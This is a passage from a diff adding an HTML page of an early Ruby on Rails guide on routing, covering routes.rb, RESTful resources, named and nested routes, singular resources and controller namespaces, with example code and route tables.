+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_the_dual_purpose_of_routing">The Dual Purpose of Routing</a>
+						<ul>
+						
+							<li><a href="#_connecting_urls_to_code">Connecting URLs to Code</a></li>
+						
+							<li><a href="#_generating_urls_from_code">Generating URLs from Code</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_quick_tour_of_routes_rb">Quick Tour of Routes.rb</a>
+						<ul>
+						
+							<li><a href="#_processing_the_file">Processing the File</a></li>
+						
+							<li><a href="#_restful_routes">RESTful Routes</a></li>
+						
+							<li><a href="#_named_routes">Named Routes</a></li>
+						
+							<li><a href="#_nested_routes">Nested Routes</a></li>
+						
+							<li><a href="#_regular_routes">Regular Routes</a></li>
+						
+							<li><a href="#_default_routes">Default Routes</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_restful_routing_the_rails_default">RESTful Routing: the Rails Default</a>
+						<ul>
+						
+							<li><a href="#_what_is_rest">What is REST?</a></li>
+						
+							<li><a href="#_crud_verbs_and_actions">CRUD, Verbs, and Actions</a></li>
+						
+							<li><a href="#_urls_and_paths">URLs and Paths</a></li>
+						
+							<li><a href="#_defining_multiple_resources_at_the_same_time">Defining Multiple Resources at the Same Time</a></li>
+						
+							<li><a href="#_singular_resources">Singular Resources</a></li>
+						
+							<li><a href="#_customizing_resources">Customizing Resources</a></li>
+						
+							<li><a href="#_controller_namespaces_and_routing">Controller Namespaces and Routing</a></li>
+						
+							<li><a href="#_nested_resources">Nested Resources</a></li>
+						
+							<li><a href="#_route_generation_from_arrays">Route Generation from Arrays</a></li>
+						
+							<li><a href="#_namespaced_resources">Namespaced Resources</a></li>
+						
+							<li><a href="#_adding_more_restful_actions">Adding More RESTful Actions</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_regular_routes_2">Regular Routes</a>
+						<ul>
+						
+							<li><a href="#_bound_parameters">Bound Parameters</a></li>
+						
+							<li><a href="#_wildcard_components">Wildcard Components</a></li>
+						
+							<li><a href="#_static_text">Static Text</a></li>
+						
+							<li><a href="#_querystring_parameters">Querystring Parameters</a></li>
+						
+							<li><a href="#_defining_defaults">Defining Defaults</a></li>
+						
+							<li><a href="#_named_routes_2">Named Routes</a></li>
+						
+							<li><a href="#_route_requirements">Route Requirements</a></li>
+						
+							<li><a href="#_route_conditions">Route Conditions</a></li>
+						
+							<li><a href="#_route_globbing">Route Globbing</a></li>
+						
+							<li><a href="#_route_options">Route Options</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_formats_and_respond_to">Formats and respond_to</a>
+						<ul>
+						
+							<li><a href="#_specifying_the_format_with_an_http_header">Specifying the Format with an HTTP Header</a></li>
+						
+							<li><a href="#_recognized_mime_types">Recognized MIME types</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_the_default_routes">The Default Routes</a>
+					</li>
+					<li>
+					<a href="#_the_empty_route">The Empty Route</a>
+						<ul>
+						
+							<li><a href="#_using_map_root">Using map.root</a></li>
+						
+							<li><a href="#_connecting_the_empty_string">Connecting the Empty String</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_inspecting_and_testing_routes">Inspecting and Testing Routes</a>
+						<ul>
+						
+							<li><a href="#_seeing_existing_routes_with_rake">Seeing Existing Routes with rake</a></li>
+						
+							<li><a href="#_testing_routes">Testing Routes</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_changelog">Changelog</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Rails Routing from the Outside In</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Understand the purpose of routing
+</p>
+</li>
+<li>
+<p>
+Decipher the code in <tt>routes.rb</tt>
+</p>
+</li>
+<li>
+<p>
+Construct your own routes, using either the classic hash style or the now-preferred RESTful style
+</p>
+</li>
+<li>
+<p>
+Identify how a route will map to a controller and action
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_the_dual_purpose_of_routing">1. The Dual Purpose of Routing</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application's controllers, and helps you generate URLs without having to hard-code them as strings.</p></div>
+<h3 id="_connecting_urls_to_code">1.1. Connecting URLs to Code</h3>
+<div class="para"><p>When your Rails application receives an incoming HTTP request, say</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>GET /patients/17</tt></pre>
+</div></div>
+<div class="para"><p>the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the <tt>show</tt> action within the <tt>patients</tt> controller, displaying the details of the patient whose ID is 17.</p></div>
+<h3 id="_generating_urls_from_code">1.2. Generating URLs from Code</h3>
+<div class="para"><p>Routing also works in reverse. If your application contains this code:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@patient</span> <span style="color: #990000">=</span> Patient<span style="color: #990000">.</span>find<span style="color: #990000">(</span><span style="color: #993399">17</span><span style="color: #990000">)</span>
+<span style="color: #FF0000">&lt;%= link_to "Patient Record", patient_path(@patient) %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>Then the routing engine is the piece that translates that to a link to a URL such as <tt>http://example.com/patients/17</tt>. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Patient needs to be declared as a resource for this style of translation via a named route to be available.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_quick_tour_of_routes_rb">2. Quick Tour of Routes.rb</h2>
+<div class="sectionbody">
+<div class="para"><p>There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file <tt>config/routes.rb</tt>, which contains the actual routes that will be used by your application. Learning exactly what you can put in <tt>routes.rb</tt> is the main topic of this guide, but before we dig in let's get a quick overview.</p></div>
+<h3 id="_processing_the_file">2.1. Processing the File</h3>
+<div class="para"><p>In format, <tt>routes.rb</tt> is nothing more than one big block sent to <tt>ActionController::Routing::Routes.draw</tt>. Within this block, you can have comments, but it's likely that most of your content will be individual lines of code - each line being a route in your application. You'll find five main types of content in this file:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+RESTful Routes
+</p>
+</li>
+<li>
+<p>
+Named Routes
+</p>
+</li>
+<li>
+<p>
+Nested Routes
+</p>
+</li>
+<li>
+<p>
+Regular Routes
+</p>
+</li>
+<li>
+<p>
+Default Routes
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Each of these types of route is covered in more detail later in this guide.</p></div>
+<div class="para"><p>The <tt>routes.rb</tt> file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller.</p></div>
+<h3 id="_restful_routes">2.2. RESTful Routes</h3>
+<div class="para"><p>RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>books
+</tt></pre></div></div>
+<h3 id="_named_routes">2.3. Named Routes</h3>
+<div class="para"><p>Named routes give you very readable links in your code, as well as handling incoming requests. Here's a typical named route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>login <span style="color: #FF0000">'/login'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'sessions'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'new'</span>
+</tt></pre></div></div>
+<h3 id="_nested_routes">2.4. Nested Routes</h3>
+<div class="para"><p>Nested routes let you declare that one resource is contained within another resource. You'll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>assemblies <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>assemblies<span style="color: #990000">|</span>
+  assemblies<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>parts
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_regular_routes">2.5. Regular Routes</h3>
+<div class="para"><p>In many applications, you'll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example,</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'parts/:number'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'inventory'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span>
+</tt></pre></div></div>
+<h3 id="_default_routes">2.6. Default Routes</h3>
+<div class="para"><p>The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
+map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
+</tt></pre></div></div>
+<div class="para"><p>These default routes are automatically generated when you create a new Rails application. If you're using RESTful routing for everything in your application, you will probably want to remove them. But be sure you're not using the default routes before you remove them!</p></div>
+</div>
+<h2 id="_restful_routing_the_rails_default">3. RESTful Routing: the Rails Default</h2>
+<div class="sectionbody">
+<div class="para"><p>RESTful routing is the current standard for routing in Rails, and it's the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it's worth the effort; your code will be easier to read and you'll be working with Rails, rather than fighting against it, when you use this style of routing.</p></div>
+<h3 id="_what_is_rest">3.1. What is REST?</h3>
+<div class="para"><p>The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Architectural Styles and the Design of Network-based Software Architectures</a>. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
+</p>
+</li>
+<li>
+<p>
+Transferring representations of the state of that resource between system components.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>For example, to a Rails application a request such as this:</p></div>
+<div class="para"><p><tt>DELETE /photos/17</tt></p></div>
+<div class="para"><p>would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.</p></div>
+<h3 id="_crud_verbs_and_actions">3.2. CRUD, Verbs, and Actions</h3>
+<div class="para"><p>In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
+</tt></pre></div></div>
+<div class="para"><p>creates seven different routes in your application:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="125" />
+<col width="182" />
+<col width="137" />
+<col width="102" />
+<col width="502" />
+<thead>
+  <tr>
+    <th align="left">
+    HTTP verb
+    </th>
+    <th align="left">
+    URL
+    </th>
+    <th align="left">
+    controller
+    </th>
+    <th align="left">
+    action
+    </th>
+    <th align="left">
+    used for
+    </th>
+  </tr>
+</thead>
+<tbody valign="top">
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /photos
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    index
+    </td>
+    <td align="left">
+    display a list of all photos
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /photos/new
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    new
+    </td>
+    <td align="left">
+    return an HTML form for creating a new photo
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    POST
+    </td>
+    <td align="left">
+    /photos
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    create
+    </td>
+    <td align="left">
+    create a new photo
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /photos/1
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    show
+    </td>
+    <td align="left">
+    display a specific photo
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /photos/1/edit
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    edit
+    </td>
+    <td align="left">
+    return an HTML form for editing a photo
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    PUT
+    </td>
+    <td align="left">
+    /photos/1
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    update
+    </td>
+    <td align="left">
+    update a specific photo
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    DELETE
+    </td>
+    <td align="left">
+    /photos/1
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    destroy
+    </td>
+    <td align="left">
+    delete a specific photo
+    </td>
+  </tr>
+</tbody>
+</table>
+</div>
+<div class="para"><p>For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as <tt>params[:id]</tt>.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you consistently use RESTful routes in your application, you should disable the default routes in <tt>routes.rb</tt> so that Rails will enforce the mapping between HTTP verbs and routes.</td>
+</tr></table>
+</div>
+<h3 id="_urls_and_paths">3.3. URLs and Paths</h3>
+<div class="para"><p>Creating a RESTful route will also make available a pile of helpers within your application:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>photos_url</tt> and <tt>photos_path</tt> map to the path for the index and create actions
+</p>
+</li>
+<li>
+<p>
+<tt>new_photo_url</tt> and <tt>new_photo_path</tt> map to the path for the new action
+</p>
+</li>
+<li>
+<p>
+<tt>edit_photo_url</tt> and <tt>edit_photo_path</tt> map to the path for the edit action
+</p>
+</li>
+<li>
+<p>
+<tt>photo_url</tt> and <tt>photo_path</tt> map to the path for the show, update, and destroy actions
+</p>
+</li>
+</ul></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Because routing makes use of the HTTP verb as well as the path in the request to dispatch requests, the seven routes generated by a RESTful routing entry only give rise to four pairs of helpers.</td>
+</tr></table>
+</div>
+<div class="para"><p>In each case, the <tt>_url</tt> helper generates a string containing the entire URL that the application will understand, while the <tt>_path</tt> helper generates a string containing the relative path from the root of the application. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>photos_url  <span style="font-style: italic"><span style="color: #9A1900"># =&gt; "http://www.example.com/photos"</span></span>
+photos_path <span style="font-style: italic"><span style="color: #9A1900"># =&gt; "/photos"</span></span>
+</tt></pre></div></div>
+<h3 id="_defining_multiple_resources_at_the_same_time">3.4. Defining Multiple Resources at the Same Time</h3>
+<div class="para"><p>If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to <tt>map.resources</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>books<span style="color: #990000">,</span> <span style="color: #990000">:</span>videos
+</tt></pre></div></div>
+<div class="para"><p>This has exactly the same effect as</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>books
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>videos
+</tt></pre></div></div>
+<h3 id="_singular_resources">3.5. Singular Resources</h3>
+<div class="para"><p>You can also apply RESTful routing to singleton resources within your application. In this case, you use <tt>map.resource</tt> instead of <tt>map.resources</tt> and the route generation is slightly different. For example, a routing entry of</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resource <span style="color: #990000">:</span>geocoder
+</tt></pre></div></div>
+<div class="para"><p>creates six different routes in your application:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="125" />
+<col width="182" />
+<col width="137" />
+<col width="102" />
+<col width="502" />
+<thead>
+  <tr>
+    <th align="left">
+    HTTP verb
+    </th>
+    <th align="left">
+    URL
+    </th>
+    <th align="left">
+    controller
+    </th>
+    <th align="left">
+    action
+    </th>
+    <th align="left">
+    used for
+    </th>
+  </tr>
+</thead>
+<tbody valign="top">
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /geocoder/new
+    </td>
+    <td align="left">
+    Geocoders
+    </td>
+    <td align="left">
+    new
+    </td>
+    <td align="left">
+    return an HTML form for creating the new geocoder
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    POST
+    </td>
+    <td align="left">
+    /geocoder
+    </td>
+    <td align="left">
+    Geocoders
+    </td>
+    <td align="left">
+    create
+    </td>
+    <td align="left">
+    create the new geocoder
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /geocoder
+    </td>
+    <td align="left">
+    Geocoders
+    </td>
+    <td align="left">
+    show
+    </td>
+    <td align="left">
+    display the one and only geocoder resource
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /geocoder/edit
+    </td>
+    <td align="left">
+    Geocoders
+    </td>
+    <td align="left">
+    edit
+    </td>
+    <td align="left">
+    return an HTML form for editing the geocoder
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    PUT
+    </td>
+    <td align="left">
+    /geocoder
+    </td>
+    <td align="left">
+    Geocoders
+    </td>
+    <td align="left">
+    update
+    </td>
+    <td align="left">
+    update the one and only geocoder resource
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    DELETE
+    </td>
+    <td align="left">
+    /geocoder
+    </td>
+    <td align="left">
+    Geocoders
+    </td>
+    <td align="left">
+    destroy
+    </td>
+    <td align="left">
+    delete the geocoder resource
+    </td>
+  </tr>
+</tbody>
+</table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Even though the name of the resource is singular in <tt>routes.rb</tt>, the matching controller is still plural.</td>
+</tr></table>
+</div>
+<div class="para"><p>A singular RESTful route generates an abbreviated set of helpers:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>new_geocoder_url</tt> and <tt>new_geocoder_path</tt> map to the path for the new action
+</p>
+</li>
+<li>
+<p>
+<tt>edit_geocoder_url</tt> and <tt>edit_geocoder_path</tt> map to the path for the edit action
+</p>
+</li>
+<li>
+<p>
+<tt>geocoder_url</tt> and <tt>geocoder_path</tt> map to the path for the create, show, update, and destroy actions
+</p>
+</li>
+</ul></div>
+<h3 id="_customizing_resources">3.6. Customizing Resources</h3>
+<div class="para"><p>Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:controller</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:singular</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:requirements</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:conditions</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:as</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:path_names</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:path_prefix</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:name_prefix</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:only</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:except</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>You can also add additional routes via the <tt>:member</tt> and <tt>:collection</tt> options, which are discussed later in this guide.</p></div>
+<h4 id="_using_controller">3.6.1. Using :controller</h4>
+<div class="para"><p>The <tt>:controller</tt> option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"images"</span>
+</tt></pre></div></div>
+<div class="para"><p>will recognize incoming URLs containing <tt>photo</tt> but route the requests to the Images controller:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="125" />
+<col width="182" />
+<col width="137" />
+<col width="102" />
+<col width="502" />
+<thead>
+  <tr>
+    <th align="left">
+    HTTP verb
+    </th>
+    <th align="left">
+    URL
+    </th>
+    <th align="left">
+    controller
+    </th>
+    <th align="left">
+    action
+    </th>
+    <th align="left">
+    used for
+    </th>
+  </tr>
+</thead>
+<tbody valign="top">
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /photos
+    </td>
+    <td align="left">
+    Images
+    </td>
+    <td align="left">
+    index
+    </td>
+    <td align="left">
+    display a list of all images
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /photos/new
+    </td>
+    <td align="left">
+    Images
+    </td>
+    <td align="left">
+    new
+    </td>
+    <td align="left">
+    return an HTML form for creating a new image
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    POST
+    </td>
+    <td align="left">
+    /photos
+    </td>
+    <td align="left">
+    Images
+    </td>
+    <td align="left">
+    create
+    </td>
+    <td align="left">
+    create a new image
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /photos/1
+    </td>
+    <td align="left">
+    Images
+    </td>
+    <td align="left">
+    show
+    </td>
+    <td align="left">
+    display a specific image
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /photos/1/edit
+    </td>
+    <td align="left">
+    Images
+    </td>
+    <td align="left">
+    edit
+    </td>
+    <td align="left">
+    return an HTML form for editing a image
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    PUT
+    </td>
+    <td align="left">
+    /photos/1
+    </td>
+    <td align="left">
+    Images
+    </td>
+    <td align="left">
+    update
+    </td>
+    <td align="left">
+    update a specific image
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    DELETE
+    </td>
+    <td align="left">
+    /photos/1
+    </td>
+    <td align="left">
+    Images
+    </td>
+    <td align="left">
+    destroy
+    </td>
+    <td align="left">
+    delete a specific image
+    </td>
+  </tr>
+</tbody>
+</table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get <tt>photos_path</tt>, <tt>new_photo_path</tt>, and so on.</td>
+</tr></table>
+</div>
+<h3 id="_controller_namespaces_and_routing">3.7. Controller Namespaces and Routing</h3>
+<div class="para"><p>Rails allows you to group your controllers into namespaces by saving them in folders underneath <tt>app/controllers</tt>. The <tt>:controller</tt> option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the <tt>admin</tt> folder:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>adminphotos<span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin/photos"</span>
+</tt></pre></div></div>
+<div class="para"><p>If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the <tt>adminphoto_path</tt> helper, and you follow a link generated with <tt>&lt;%= link_to "show", adminphoto(1) %&gt;</tt> you will end up on the view generated by <tt>admin/photos/show</tt> but you will also end up in the same place if you have <tt>&lt;%= link_to "show", {:controller &#8658; "photos", :action &#8658; "show"} %&gt;</tt> because Rails will generate the show URL relative to the current URL.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: <tt>&lt;%= link_to "show", {:controller &#8658; "/photos", :action &#8658; "show"} %&gt;</tt></td>
+</tr></table>
+</div>
+<div class="para"><p>You can also specify a controller namespace with the <tt>:namespace</tt> option instead of a path:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>adminphotos<span style="color: #990000">,</span> <span style="color: #990000">:</span>namespace <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span>
+</tt></pre></div></div>
+<div class="para"><p>This can be especially useful when combined with <tt>with_options</tt> to map multiple namespaced routes together:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>with_options<span style="color: #990000">(:</span>namespace <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>admin<span style="color: #990000">|</span>
+  admin<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>videos
